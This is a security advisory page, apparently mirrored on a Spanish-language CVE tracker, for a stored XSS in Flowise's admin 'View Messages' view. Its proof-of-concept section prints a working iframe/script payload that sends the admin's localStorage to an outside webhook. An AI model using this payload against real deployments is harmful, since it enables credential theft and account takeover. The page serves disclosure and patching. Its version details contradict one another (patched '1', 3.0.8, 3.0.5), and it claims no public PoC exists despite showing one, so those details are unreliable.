GHSA-964P-J4GG-MHWC
Flowise is vulnerable to stored XSS via "View Messages" allows credential theft in FlowiseAI admin panel
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-964P-J4GG-MHWC divulgada | |
| Remediación | Parche 3.0.8 | flowise · 5 d desde divulgación | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice |
### Summary
A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to `localStorage`.
---
### Details
The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using `<iframe srcdoc="...">` can include arbitrary JavaScript, which is executed when the message is rendered.
---
### PoC
1. Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website).
2. Send the following payload via the agent's chat interface:
```html
<iframe srcdoc="<script>fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))</script>">
```
3. As an admin, go to the workflow and click "View Messages".
4. The JavaScript is executed in the admin's browser, exfiltrating `localStorage` content to the attacker-controlled webhook endpoint.
---
### Impact
- Type: Stored Cross-Site Scripting (XSS)
- Who is impacted: Any admin viewing messages in the FlowiseAI UI
- Data at risk: Admin credentials, or sensitive info stored in `localStorage`
- Severity: High (Account takeover, admin privilege escalation, full panel compromise)
---
### Affected Products
- Ecosystem: `npm`
- Package name: `flowise`
- Affected versions: `< 2.2.7`
- Patched versions:`1`
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmflowise |
Corregida | 3.0.8 | 5 d | 3.1.4 no afectada |
3.0.8Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://nvd.nist.gov/vuln/detail/CVE-2025-50538https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-964p-j4gg-mhwchttps://github.com/FlowiseAI/Flowise/pull/4905https://github.com/FlowiseAI/Flowise/commit/9a06a85a8ddcbaeca1342827a5fea9087a587d97https://github.com/FlowiseAI/Flowisehttps://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.5Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
